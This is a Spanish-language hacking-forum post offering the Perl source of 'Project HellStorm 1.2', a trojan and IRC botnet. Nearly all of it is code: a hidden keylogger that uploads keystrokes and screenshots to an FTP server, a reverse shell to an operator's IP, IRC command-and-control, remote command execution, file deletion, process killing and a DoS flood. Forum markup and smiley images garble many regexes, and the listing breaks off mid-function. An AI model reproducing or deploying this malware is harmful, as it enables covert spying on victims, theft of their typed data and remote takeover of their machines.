[Perl] Project HellStorm 1.2

  • 3 Respuestas
  • 4916 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil

[Perl] Project HellStorm 1.2

  • en: Octubre 23, 2015, 10:07:07 pm
Hola hoy les traigo un troyano en Perl que funciona mediante sockets y como IRC Botnet , tiene las siguientes opciones :

[++] Opciones del troyano

  • Navegador de archivos : borrar,renombrar[/li]
  • Da informacion sobre la computadora[/li]
  • Abrir y cerrar CD[/li]
  • Ocultar y mostrar barra de inicio o iconos del escritorio[/li]
  • Hacer hablar a la computadora para que diga lo que queramos[/li]
  • Mandar mensajitos[/li]
  • Consola de comandos[/li]
  • Administracion de procesos[/li]
  • ReverseShell[/li]
  • Cambiar fondo de escritorio[/li]
  • Mover mouse[/li]
  • Cargar word para que escriba solo[/li]
  • DOS Attack : en el caso de IRC podran hacer un ataque DDOS si tienen varios infectados[/li]
  • Keylogger en segundo plano : sube logs y fotos tomadas a un servidor FTP[/li][/list]

    Una imagen :



    Los codigos :

    server.pl

    Código: Perl
    1. #!usr/bin/perl
    2. #Project HellStorm 1.2
    3. #(C) Doddy Hackman 2015
    4. #Necessary modules
    5. #
    6. #ppm install http://www.bribes.org/perl/ppm/Win32-API.ppd
    7. #ppm install http://www.bribes.org/perl/ppm/Win32-GuiTest.ppd
    8. #
    9. #Use "perl2exe -gui server.pl" to hide console
    10. #
    11.  
    12. use Win32::OLE;
    13. use Win32::OLE qw(in);
    14. use Win32::Process;
    15. use Win32;
    16. use Win32::API;
    17. use Win32::GuiTest
    18.   qw(GetForegroundWindow GetWindowText FindWindowLike SetForegroundWindow SendKeys);
    19. use Win32::Clipboard;
    20. use threads;
    21. use Net::FTP;
    22. use Win32::File;
    23. use Cwd;
    24. use IO::Socket;
    25. use Win32::Job;
    26. use Win32::GuiTest qw(MouseMoveAbsPix SendMessage);
    27.  
    28. if ( $^O eq 'MSWin32' ) {
    29.     use Win32::Console;
    30.     Win32::Console::Free();
    31. }
    32.  
    33. # FTP Configuration
    34.  
    35. my $host_ftp = "localhost";    # Edit
    36. my $user_ftp = "doddy";        # Edit
    37. my $pass_ftp = "123";          # Edit
    38.  
    39. # IRC Configuration
    40.  
    41. my $host_irc  = "localhost";    # Edit
    42. my $canal_irc = "#locos";       # Edit
    43. my $port_irc  = "6667";         # Edit
    44. my $nick_irc  = dameip();       # Edit
    45.  
    46. # Threads
    47.  
    48. # You must comment on the thread that you will not use
    49.  
    50. my $comando4 = threads->new( \&conexion_directa );
    51.  
    52. #my $comando5 = threads->new( \&keylogger );
    53. #my $comando6 = threads->new(\&ircnow);
    54.  
    55. $comando4->join();
    56.  
    57. #$comando5->join();
    58.  
    59. #$comando6->join();
    60.  
    61. #
    62.  
    63. sub ircnow {
    64.  
    65.     my $soquete = new IO::Socket::INET(
    66.         PeerAddr => $host_irc,
    67.         PeerPort => $port_irc,
    68.         Proto    => "tcp"
    69.     );
    70.  
    71.     print $soquete "NICK $nick_irc\r\n";
    72.     print $soquete "USER $nick_irc 1 1 1 1\r\n";
    73.     print $soquete "JOIN $canal_irc\r\n";
    74.  
    75.     while ( my $logar = <$soquete> ) {
    76.         print "\r\n";
    77.         chomp($logar);
    78.  
    79.         if ( $logar =~ /^PING(.*)$/i ) {
    80.             print $soquete "PONG $1\r\n";
    81.         }
    82.  
    83.         if ( $logar =~ /:$nick_irc help/g ) {
    84.  
    85.             my @commands = (
    86.                 "msgbox <>",            "getinfo",
    87.                 "cmd <>",               "dir",
    88.                 "cd <>",                "del <>",
    89.                 "rename :<>:<>:",       "cwd",
    90.                 "verlogs",              "word :<>:",
    91.                 "crazymouse",           "cambiarfondo :<>:",
    92.                 "opencd",               "closedcd",
    93.                 "dosattack :<>:<>:<>:", "speak :<>:",
    94.                 "iniciochau",           "iniciovuelve",
    95.                 "iconochau",            "iconovuelve",
    96.                 "backshell :<>:<>:",    "procesos",
    97.                 "cerrarproceso  :<>:<>:"
    98.             );
    99.  
    100.             print $soquete
    101.               "PRIVMSG $canal_irc : HellStorm (C) 2011 Doddy Hackman\r\n";
    102.             print $soquete "PRIVMSG $canal_irc : Commands : \r\n";
    103.             for (@commands) {
    104.                 print $soquete "PRIVMSG $canal_irc : " . $_ . "\r\n";
    105.             }
    106.         }
    107.  
    108.         if ( $logar =~ /:$nick_irc msgbox (.*)/g ) {
    109.             my $msg = $1;
    110.             chomp $msg;
    111.             cheats( "mensaje", $msg );
    112.             print $soquete "PRIVMSG $canal_irc : </li><li type="square"> Yes , master\r\n";[/li][/list]
    113.         }
    114.  
    115.         if ( $logar =~ /:$nick_irc getinfo/g ) {
    116.             my $re = getinfo();
    117.             if ( $re =~ /:(.*)<img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*)<img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*)<img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*)<img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*):/ ) {
    118.                 print $soquete "PRIVMSG $canal_irc : </li><li type="square"> Domain : $1\r\n";[/li][/list]
    119.                 print $soquete "PRIVMSG $canal_irc : </li><li type="square"> Chip : $2\r\n";[/li][/list]
    120.                 print $soquete "PRIVMSG $canal_irc : </li><li type="square"> Version : $3\r\n";[/li][/list]
    121.                 print $soquete "PRIVMSG $canal_irc : </li><li type="square"> Username : $4\r\n";[/li][/list]
    122.                 print $soquete "PRIVMSG $canal_irc : </li><li type="square"> OS : $5\r\n";[/li][/list]
    123.             }
    124.         }
    125.  
    126.         if ( $logar =~ /:$nick_irc cmd (.*)/ ) {
    127.             my $cmda = $1;
    128.             chomp $cmda;
    129.             my @re = cmd($cmda);
    130.             for (@re) {
    131.                 print $soquete "PRIVMSG $canal_irc : $_\r\n";
    132.             }
    133.         }
    134.  
    135.         if ( $logar =~ /:$nick_irc dir/ ) {
    136.             my @files = navegador("listar");
    137.             for (@files) {
    138.                 if ( -f $_ ) {
    139.                     print $soquete "PRIVMSG $canal_irc : [File] : " . $_
    140.                       . "\r\n";
    141.                 }
    142.                 else {
    143.                     print $soquete "PRIVMSG $canal_irc : [Directory] : " . $_
    144.                       . "\r\n";
    145.                 }
    146.             }
    147.         }
    148.  
    149.         if ( $logar =~ /:$nick_irc cd (.*)/ ) {
    150.             my $di = $1;
    151.             chomp $di;
    152.             if ( navegador( "cd", $di ) ) {
    153.                 print $soquete "PRIVMSG $canal_irc : </li><li type="square"> Directory Changed\r\n";[/li][/list]
    154.             }
    155.             else {
    156.                 print $soquete "PRIVMSG $canal_irc : [-] Error\r\n";
    157.             }
    158.         }
    159.  
    160.         if ( $logar =~ /:$nick_irc del (.*)/ ) {
    161.             my $file = $1;
    162.             chomp $file;
    163.             if ( navegador( "borrar", $1 ) ) {
    164.                 print $soquete "PRIVMSG $canal_irc : </li><li type="square"> File deleted\r\n";[/li][/list]
    165.             }
    166.             else {
    167.                 print $soquete "PRIVMSG $canal_irc : [-] Error\r\n";
    168.             }
    169.         }
    170.  
    171.         if ( $logar =~ /:$nick_irc rename <img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*)<img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*):/ ) {
    172.             my ( $a, $b ) = ( $1, $2 );
    173.             if ( navegador( "rename", $a, $b ) ) {
    174.                 print $soquete "PRIVMSG $canal_irc : </li><li type="square"> Changed\r\n";[/li][/list]
    175.             }
    176.             else {
    177.                 print $soquete "PRIVMSG $canal_irc : [-] Error\r\n";
    178.             }
    179.         }
    180.  
    181.         if ( $logar =~ /:$nick_irc cwd/ ) {
    182.             print $soquete "PRIVMSG $canal_irc : </li><li type="square"> Directory : "[/li][/list]
    183.               . getcwd() . "\r\n";
    184.         }
    185.  
    186.         if ( $logar =~ /:$nick_irc verlogs/ ) {
    187.             print $soquete "PRIVMSG $canal_irc : </li><li type="square"> Logs\r\n";[/li][/list]
    188.             my @word = openfilex("logs.txt");
    189.             for (@word) {
    190.                 sleep 3;
    191.                 print $soquete "PRIVMSG $canal_irc : " . $_ . "\r\n";
    192.             }
    193.         }
    194.  
    195.         if ( $logar =~ /:$nick_irc word <img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*):/ig ) {
    196.             my $msg = $1;
    197.             cheats( "word", $msg );
    198.             print $soquete "PRIVMSG $canal_irc : </li><li type="square"> Yes , master\r\n";[/li][/list]
    199.         }
    200.  
    201.         if ( $logar =~ /:$nick_irc crazymouse/ig ) {
    202.             cheats("crazymouse");
    203.             print $soquete "PRIVMSG $canal_irc : </li><li type="square"> Yes , master\r\n";[/li][/list]
    204.         }
    205.  
    206.         if ( $logar =~ /:$nick_irc cambiarfondo <img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*):/ig ) {
    207.             my $url = $1;
    208.             chomp $url;
    209.             cheats( "cambiarfondo", $url );
    210.             print $soquete "PRIVMSG $canal_irc : </li><li type="square"> Yes , master\r\n";[/li][/list]
    211.         }
    212.  
    213.         if ( $logar =~ /:$nick_irc opencd/ig ) {
    214.             cheats( "cd", "1" );
    215.             print $soquete "PRIVMSG $canal_irc : </li><li type="square"> Yes , master\r\n";[/li][/list]
    216.         }
    217.  
    218.         if ( $logar =~ /:$nick_irc closedcd/ig ) {
    219.             cheats( "cd", "0" );
    220.             print $soquete "PRIVMSG $canal_irc : </li><li type="square"> Yes , master\r\n";[/li][/list]
    221.         }
    222.  
    223.         if ( $logar =~ /dosattack <img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*)<img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*)<img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*):/ ) {
    224.             my ( $i, $p, $t ) = ( $1, $2, $3 );
    225.             print $soquete "PRIVMSG $canal_irc : </li><li type="square"> Yes , master\r\n";[/li][/list]
    226.             dosattack( $i, $p, $t );
    227.         }
    228.  
    229.         if ( $logar =~ /:$nick_irc speak <img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*):/ig ) {
    230.             my $t = $1;
    231.             chomp $t;
    232.             cheats( "speak", $t );
    233.             print $soquete "PRIVMSG $canal_irc : </li><li type="square"> Yes , master\r\n";[/li][/list]
    234.         }
    235.  
    236.         if ( $logar =~ /:$nick_irc iniciochau/ ) {
    237.             cheats( "inicio", "1" );
    238.             print $soquete "PRIVMSG $canal_irc : </li><li type="square"> Yes , master\r\n";[/li][/list]
    239.         }
    240.  
    241.         if ( $logar =~ /:$nick_irc iniciovuelve/ ) {
    242.             cheats( "inicio", "0" );
    243.             print $soquete "PRIVMSG $canal_irc : </li><li type="square"> Yes , master\r\n";[/li][/list]
    244.         }
    245.  
    246.         if ( $logar =~ /:$nick_irc iconochau/ ) {
    247.             cheats( "iconos", "1" );
    248.             print $soquete "PRIVMSG $canal_irc : </li><li type="square"> Yes , master\r\n";[/li][/list]
    249.         }
    250.  
    251.         if ( $logar =~ /:$nick_irc iconovuelve/ ) {
    252.             cheats( "iconos", "0" );
    253.             print $soquete "PRIVMSG $canal_irc : </li><li type="square"> Yes , master\r\n";[/li][/list]
    254.         }
    255.  
    256.         if ( $logar =~ /:$nick_irc backshell <img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*)<img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*):/ig ) {
    257.             backshell( $1, $2 );
    258.             print $soquete "PRIVMSG $canal_irc : </li><li type="square"> Yes , master\r\n";[/li][/list]
    259.         }
    260.  
    261.         if ( $logar =~ /:$nick_irc procesos/ ) {
    262.  
    263.             my %vida = adminprocess("listar");
    264.             print $soquete "PRIVMSG $canal_irc : </li><li type="square"> Process Found : "[/li][/list]
    265.               . int( keys %vida ) . "\r\n";
    266.             for my $data ( keys %vida ) {
    267.                 print $soquete "PRIVMSG $canal_irc : </li><li type="square"> Process : "[/li][/list]
    268.                   . $data
    269.                   . " </li><li type="square"> PID : "[/li][/list]
    270.                   . $vida{$data} . "\r\n";
    271.             }
    272.         }
    273.  
    274.         if ( $logar =~ /:$nick_irc cerrarproceso <img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*)<img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*):/ ) {
    275.             my ( $b, $a ) = ( $1, $2 );
    276.             if ( adminprocess( "cerrar", $a, $b ) ) {
    277.                 print $soquete "PRIVMSG $canal_irc : </li><li type="square"> Yes , master\r\n";[/li][/list]
    278.             }
    279.         }
    280.  
    281.     }
    282. }
    283.  
    284. sub conexion_directa {
    285.  
    286.     my $sock = IO::Socket::INET->new(
    287.         LocalPort => 666,
    288.         Listen    => 10,
    289.         Proto     => 'tcp',
    290.         Reuse     => 1
    291.     );
    292.  
    293.     while ( my $con = $sock->accept ) {
    294.         $resultado = <$con>;
    295.  
    296.         if ( $resultado =~ /msgbox (.*)/ig ) {
    297.             my $msg = $1;
    298.             cheats( "mensaje", $msg );
    299.         }
    300.  
    301.         if ( $resultado =~ /infor/ig ) {
    302.             print $con getinfo();
    303.         }
    304.  
    305.         if ( $resultado =~ /word <img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*):/ig ) {
    306.             my $msg = $1;
    307.             cheats( "word", $msg );
    308.         }
    309.  
    310.         if ( $resultado =~ /crazymouse/ig ) {
    311.             cheats("crazymouse");
    312.         }
    313.  
    314.         if ( $resultado =~ /cambiarfondo (.*)/ig ) {
    315.             my $url = $1;
    316.             cheats( "cambiarfondo", $url );
    317.         }
    318.  
    319.         if ( $resultado =~ /opencd/ig ) {
    320.             cheats( "cd", "1" );
    321.         }
    322.  
    323.         if ( $resultado =~ /closedcd/ig ) {
    324.             cheats( "cd", "0" );
    325.         }
    326.  
    327.         if ( $resultado =~ /dosattack <img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*)<img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*)<img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*):/ ) {
    328.             my ( $i, $p, $t ) = ( $1, $2, $3 );
    329.             dosattack( $i, $p, $t );
    330.         }
    331.  
    332.         if ( $resultado =~ /speak <img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*):/ig ) {
    333.             my $t = $1;
    334.             cheats( "speak", $t );
    335.         }
    336.  
    337.         if ( $resultado =~ /iniciochau/ ) {
    338.             cheats( "inicio", "1" );
    339.         }
    340.         if ( $resultado =~ /iniciovuelve/ ) {
    341.             cheats( "inicio", "0" );
    342.         }
    343.  
    344.         if ( $resultado =~ /iconochau/ ) {
    345.             cheats( "iconos", "1" );
    346.         }
    347.         if ( $resultado =~ /iconovuelve/ ) {
    348.             cheats( "iconos", "0" );
    349.         }
    350.  
    351.         if ( $resultado =~ /backshell <img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*)<img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*):/ig ) {
    352.             backshell( $1, $2 );
    353.         }
    354.  
    355.         if ( $resultado =~ /comando <img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*):/ig ) {
    356.             my $cmd = $1;
    357.             my @re  = cmd($cmd);
    358.             print $con @re;
    359.         }
    360.  
    361.         if ( $resultado =~ /mostrarpro/ ) {
    362.  
    363.             my %vida = adminprocess("listar");
    364.  
    365.             for my $data ( keys %vida ) {
    366.                 print $con "PROXEC" . $data . "PROXEC\r\n";
    367.                 print $con "PIDX" . $vida{$data} . "PIDX\r\n";
    368.             }
    369.  
    370.         }
    371.  
    372.         if ( $resultado =~ /chauproce K0BRA(.*)K0BRA(.*)K0BRA/ ) {
    373.             my ( $b, $a ) = ( $1, $2 );
    374.             if ( adminprocess( "cerrar", $a, $b ) ) {
    375.                 print $con "ok";
    376.             }
    377.         }
    378.  
    379.         if ( $resultado =~ /chdirnow K0BRA(.*)K0BRA/ ) {
    380.             my $di = $1;
    381.             if ( navegador( "cd", $di ) ) {
    382.                 print $con "ok";
    383.             }
    384.         }
    385.         if ( $resultado =~ /borrarfile K0BRA(.*)K0BRA/ ) {
    386.             if ( navegador( "borrar", $1 ) ) {
    387.                 print $con "ok";
    388.             }
    389.         }
    390.         if ( $resultado =~ /borrardir K0BRA(.*)K0BRA/ ) {
    391.             if ( navegador( "borrar", $1 ) ) {
    392.                 print $con "ok";
    393.             }
    394.         }
    395.         if ( $resultado =~ /rename <img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*)<img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*):/ ) {
    396.             my ( $a, $b ) = ( $1, $2 );
    397.             if ( navegador( "rename", $a, $b ) ) {
    398.                 print $con "ok";
    399.             }
    400.         }
    401.  
    402.         if ( $resultado =~ /getcwd/ ) {
    403.             print $con getcwd();
    404.         }
    405.  
    406.         if ( $resultado =~ /verlogs/ ) {
    407.             print $con openfile("logs.txt");
    408.         }
    409.  
    410.         if ( $resultado =~ /dirnow ACATOY(.*)ACATOY/ ) {
    411.             my @files = navegador("listar");
    412.             for (@files) {
    413.                 if ( -f $_ ) {
    414.                     print $con "FILEX" . $_ . "FILEX" . "\r\n";
    415.                 }
    416.                 else {
    417.                     print $con "DIREX" . $_ . "DIREX" . "\r\n";
    418.                 }
    419.             }
    420.         }
    421.     }
    422. }
    423.  
    424. sub keylogger {
    425.  
    426.     my $come = new Win32::API( "user32", "GetAsyncKeyState", "N", "I" );
    427.     my $tengo = 0;
    428.  
    429.     hideit( $0, "hide" );
    430.  
    431.     my $comando1 = threads->new( \&capture_windows );
    432.     my $comando2 = threads->new( \&capture_keys );
    433.     my $comando3 = threads->new( \&capture_screen );
    434.  
    435.     $comando1->join();
    436.     $comando2->join();
    437.     $comando3->join();
    438.  
    439.     sub capture_windows {
    440.  
    441.         while (1) {
    442.  
    443.             my $win1 = GetForegroundWindow();
    444.             my $win2 = GetForegroundWindow();
    445.  
    446.             if ( $win1 != $win2 ) {
    447.                 my $nombre = GetWindowText($win1);
    448.                 chomp($nombre);
    449.                 if ( $nombre ne "" ) {
    450.                     savefile( "logs.txt", "\n\n[" . $nombre . "]\n\n" );
    451.                 }
    452.             }
    453.         }
    454.         return 1;
    455.     }
    456.  
    457.     sub capture_keys {
    458.  
    459.         while (1) {
    460.  
    461.             my $test1;
    462.             my $test2;
    463.  
    464.             for my $num ( 0x30 .. 0x39 ) {
    465.  
    466.                 if ( dame($num) ) {
    467.                     savefile( "logs.txt", chr($num) );
    468.                 }
    469.             }
    470.  
    471.             if ( dame(0x14) ) {
    472.                 $test1 = 1;
    473.                 $tengo++;
    474.             }
    475.  
    476.             for my $num ( 0x41 .. 0x5A ) {
    477.  
    478.                 if ( dame($num) ) {
    479.  
    480.                     if ( dame(0x20) ) {
    481.                         savefile( "logs.txt", " " );
    482.                     }
    483.  
    484.                     if ( dame(0x32) ) {
    485.                         savefile( "logs.txt", "\n[enter]\n\n" );
    486.                     }
    487.  
    488.                     unless ( verpar($tengo) eq 1 ) {
    489.                         savefile( "logs.txt", chr($num) );
    490.                     }
    491.  
    492.                     if ( dame(0x10) or dame(0xA0) or dame(0xA1) ) {
    493.                         $test2 = 1;
    494.                     }
    495.  
    496.                     unless ( $test1 eq 1 or $test2 eq 1 ) {
    497.                         if ( $num >= 0x41 ) {
    498.                             if ( $num <= 0x5A ) {
    499.                                 if ( verpar($tengo) eq 1 ) {
    500.                                     savefile( "logs.txt", chr( $num + 32 ) );
    501.                                 }
    502.                             }
    503.                         }
    504.                     }
    505.                 }
    506.             }
    507.         }
    508.         return 1;
    509.     }
    510.  
    511.     sub capture_screen {
    512.  
    513.         $numero = 0;
    514.  
    515.         while (1) {
    516.  
    517.             sleep 120;
    518.  
    519.             subirftp( "logs.txt", "logs.txt" );
    520.  
    521.             $numero++;
    522.  
    523.             SendKeys("%{PRTSCR}");
    524.  
    525.             my $a = Win32::Clipboard::GetBitmap();
    526.  
    527.             open( FOTO, ">" . $numero . ".bmp" );
    528.             binmode(FOTO);
    529.             print FOTO $a;
    530.             close FOTO;
    531.  
    532.             hideit( $numero . ".bmp", "hide" );
    533.             subirftp( $numero . ".bmp", $numero . ".bmp" );
    534.         }
    535.     }
    536.  
    537.     sub dame {
    538.         return ( $come->Call(@_) & 1 );
    539.     }
    540.  
    541.     sub savefile {
    542.  
    543.         open( SAVE, ">>" . $_[0] );
    544.         print SAVE $_[1];
    545.         close SAVE;
    546.  
    547.         hideit( $_[0], "hide" );
    548.  
    549.     }
    550.  
    551.     sub hideit {
    552.         if ( $_[1] eq "show" ) {
    553.             Win32::File::SetAttributes( $_[0], NORMAL );
    554.         }
    555.         elsif ( $_[1] eq "hide" ) {
    556.             Win32::File::SetAttributes( $_[0], HIDDEN );
    557.         }
    558.         else {
    559.             print "error\n";
    560.         }
    561.     }
    562.  
    563.     sub subirftp {
    564.  
    565.         if ( $ser = Net::FTP->new($host_ftp) ) {
    566.             if ( $ser->login( $user_ftp, $pass_ftp ) ) {
    567.                 $ser->mkdir( getmyip() );
    568.                 $ser->binary();
    569.                 if (
    570.                     $ser->put(
    571.                         getcwd() . "/" . $_[0], getmyip() . "/" . $_[1]
    572.                     )
    573.                   )
    574.                 {
    575.                     return true;
    576.                 }
    577.             }
    578.             $ser->close;
    579.         }
    580.     }
    581.  
    582.     sub verpar {
    583.         return ( $_[0] % 2 == 0 ) ? "1" : "2";
    584.     }
    585.  
    586.     sub getmyip {
    587.         my $get = gethostbyname("");
    588.         return inet_ntoa($get);
    589.     }
    590.  
    591. }
    592.  
    593. sub getinfo {
    594.     return
    595.         ":"
    596.       . Win32::DomainName() . ":"
    597.       . Win32::GetChipName() . ":"
    598.       . Win32::GetOSVersion() . ":"
    599.       . Win32::LoginName() . ":"
    600.       . Win32::GetOSName() . ":";
    601. }
    602.  
    603. sub cheats {
    604.  
    605.     my $as = new Win32::API( 'user32', 'FindWindow', 'PP', 'N' );
    606.     my $b  = new Win32::API( 'user32', 'ShowWindow', 'NN', 'N' );
    607.  
    608.     if ( $_[0] eq "cambiarfondo" ) {
    609.         my $file = $_[1];
    610.         my $as =
    611.           new Win32::API( "user32", "SystemParametersInfo", [ L, L, P, L ], L );
    612.         $as->Call( 20, 0, $file, 0 );
    613.     }
    614.  
    615.     if ( $_[0] eq "speak" ) {
    616.         my $texta  = $_[1];
    617.         my $hablax = Win32::OLE->new("SAPI.SpVoice");
    618.         $hablax->Speak( $texta, 0 );
    619.     }
    620.  
    621.     if ( $_[0] eq "crazymouse" ) {
    622.         for my $number ( 1 .. 666 ) {
    623.             MouseMoveAbsPix( $number, $number );
    624.         }
    625.     }
    626.  
    627.     if ( $_[0] eq "word" ) {
    628.         my $text = $_[1];
    629.         system("start winword.exe");
    630.         sleep 4;
    631.         SendKeys($text);
    632.     }
    633.  
    634.     if ( $_[0] eq "cd" ) {
    635.  
    636.         my $ventana = Win32::API->new( "winmm", "mciSendString", "PPNN", "N" );
    637.         my $rta = ' ' x 127;
    638.         if ( $_[1] eq "1" ) {
    639.             $ventana->Call( 'set CDAudio door open', $rta, 127, 0 );
    640.         }
    641.         else {
    642.             $ventana->Call( 'set CDAudio door closed', $rta, 127, 0 );
    643.         }
    644.     }
    645.  
    646.     if ( $_[0] eq "inicio" ) {
    647.  
    648.         if ( $_[1] eq "1" ) {
    649.             $handlex = $as->Call( "Shell_TrayWnd", 0 );
    650.             $b->Call( $handlex, 0 );
    651.         }
    652.         else {
    653.             $handlex = $as->Call( "Shell_TrayWnd", 0 );
    654.             $b->Call( $handlex, 1 );
    655.         }
    656.  
    657.     }
    658.  
    659.     if ( $_[0] eq "iconos" ) {
    660.  
    661.         if ( $_[1] eq "1" ) {
    662.  
    663.             $handle = $as->Call( 0, "Program Manager" );
    664.             $b->Call( $handle, 0 );
    665.         }
    666.         else {
    667.             $handle = $as->Call( 0, "Program Manager" );
    668.             $b->Call( $handle, 1 );
    669.         }
    670.     }
    671.  
    672.     if ( $_[0] eq "mensaje" ) {
    673.         if ( $_[1] ne "" ) {
    674.             my $msg = $_[1];
    675.             chomp $msg;
    676.             Win32::MsgBox( $msg, 0, "Mensaje de Dios" );
    677.         }
    678.     }
    679. }
    680.  
    681. sub backshell {
    682.  
    683.     my ( $ip, $port ) = ( $_[0], $_[1] );
    684.  
    685.     $ip =~ s/(\s)+$//;
    686.     $port =~ s/(\s)+$//;
    687.  
    688.     conectar( $ip, $port );
    689.     tipo();
    690.  
    691.     sub conectar {
    692.         socket( REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp') );
    693.         connect( REVERSE, sockaddr_in( $_[1], inet_aton( $_[0] ) ) );
    694.         open( STDIN,  ">&REVERSE" );
    695.         open( STDOUT, ">&REVERSE" );
    696.         open( STDERR, ">&REVERSE" );
    697.     }
    698.  
    699.     sub tipo {
    700.         print "\n</li><li type="disc"> Reverse Shell Starting...\n\n";[/li][/list]
    701.         if ( $^O =~ /Win32/ig ) {
    702.             infowin();
    703.             system("cmd.exe");
    704.         }
    705.         else {
    706.             infolinux();
    707.             system("export TERM=xterm;exec sh -i");
    708.         }
    709.     }
    710.  
    711.     sub infowin {
    712.         print "</li><li type="square"> Domain Name : " . Win32::DomainName() . "\n";[/li][/list]
    713.         print "</li><li type="square"> OS Version : " . Win32::GetOSName() . "\n";[/li][/list]
    714.         print "</li><li type="square"> Username : " . Win32::LoginName() . "\n\n\n";[/li][/list]
    715.     }
    716.  
    717.     sub infolinux {
    718.         print "</li><li type="square"> System information\n\n";[/li][/list]
    719.         system("uname -a");
    720.         print "\n\n";
    721.     }
    722. }
    723.  
    724. sub cmd {
    725.  
    726.     my $job = Win32::Job->new;
    727.     $job->spawn(
    728.         "cmd",
    729.         qq{cmd /C $_[0]},
    730.         {
    731.             no_window => "true",
    732.             stdout    => "logx.txt",
    733.             stderr    => "logx.txt"
    734.         }
    735.     );
    736.     $ok = $job->run("30");
    737.     open( F, "logx.txt" );
    738.     @words = <F>;
    739.     close F;
    740.     unlink("logx.txt");
    741.     return @words;
    742. }
    743.  
    744. sub adminprocess {
    745.  
    746.     if ( $_[0] eq "listar" ) {
    747.         my %procesos;
    748.  
    749.         my $uno = Win32::OLE->new("WbemScripting.SWbemLocator");
    750.         my $dos = $uno->ConnectServer( "", "root\\cimv2" );
    751.  
    752.         foreach my $pro ( in $dos->InstancesOf("Win32_Process") ) {
    753.             $procesos{ $pro->{Caption} } = $pro->{ProcessId};
    754.         }
    755.         return %procesos;
    756.     }
    757.  
    758.     if ( $_[0] eq "cerrar" ) {
    759.  
    760.         my ( $numb, $pid ) = ( $_[1], $_[2] );
    761.  
    762.         if ( Win32::Process::KillProcess( $pid, $numb ) ) {
    763.             return true;
    764.         }
    765.         else {
    766.             return false;
    767.         }
    768.     }
    769. }
    770.  
    771. sub navegador {
    772.  
    773.     my $dir = $_[1];
    774.  
    775.     chomp $dir;
    776.  
    777.     $dir =~ s/(\s)+$//;
    778.  
    779.     if ( $_[0] eq "borrar" ) {
    780.         if ( -f $_[1] ) {
    781.             if ( unlink( getcwd() . "/" . $_[1] ) ) {
    782.                 return true;
    783.             }
    784.             else {
    785.                 return false;
    786.             }
    787.         }
    788.         else {
    789.             if ( rmdir( getcwd() . "/" . $_[1] ) ) {
    790.                 return true;
    791.             }
    792.             else {
    793.                 return false;
    794.             }
    795.         }
    796.     }
    797.     if ( $_[0] eq "cd" ) {
    798.         if ( chdir $dir ) {
    799.             return true;
    800.         }
    801.         else {
    802.             return false;
    803.         }
    804.     }
    805.     if ( $_[0] eq "rename" ) {
    806.         if ( rename( getcwd() . "/" . $_[1], getcwd() . "/" . $_[2] ) ) {
    807.             return true;
    808.         }
    809.         else {
    810.             return false;
    811.         }
    812.     }
    813.     if ( $_[0] eq "listar" ) {
    814.         my @archivos = coleccionar( getcwd() );
    815.         my @all;
    816.         for my $test (@archivos) {
    817.             push( @all, $test );
    818.         }
    819.         return @all;
    820.     }
    821.  
    822.     sub coleccionar {
    823.         opendir DIR, $_[0];
    824.         my @archivos = readdir DIR;
    825.         close DIR;
    826.         return @archivos;
    827.     }
    828. }
    829.  
    830. sub dosattack {
    831.     for ( 1 .. $_[2] ) {
    832.         IO::Socket::INET->new(
    833.             PeerAddr => $_[0],
    834.             PeerPort => $_[1],
    835.             Proto    => "tcp"
    836.         );
    837.     }
    838. }
    839.  
    840. sub openfile {
    841.     my $r;
    842.     open( FILE, $_[0] );
    843.     @wor = <FILE>;
    844.     close FILE;
    845.     for (@wor) {
    846.         $r .= $_;
    847.     }
    848.     return $r;
    849. }
    850.  
    851. sub openfilex {
    852.     my @wor;
    853.     open( FILE, $_[0] );
    854.     @wor = <FILE>;
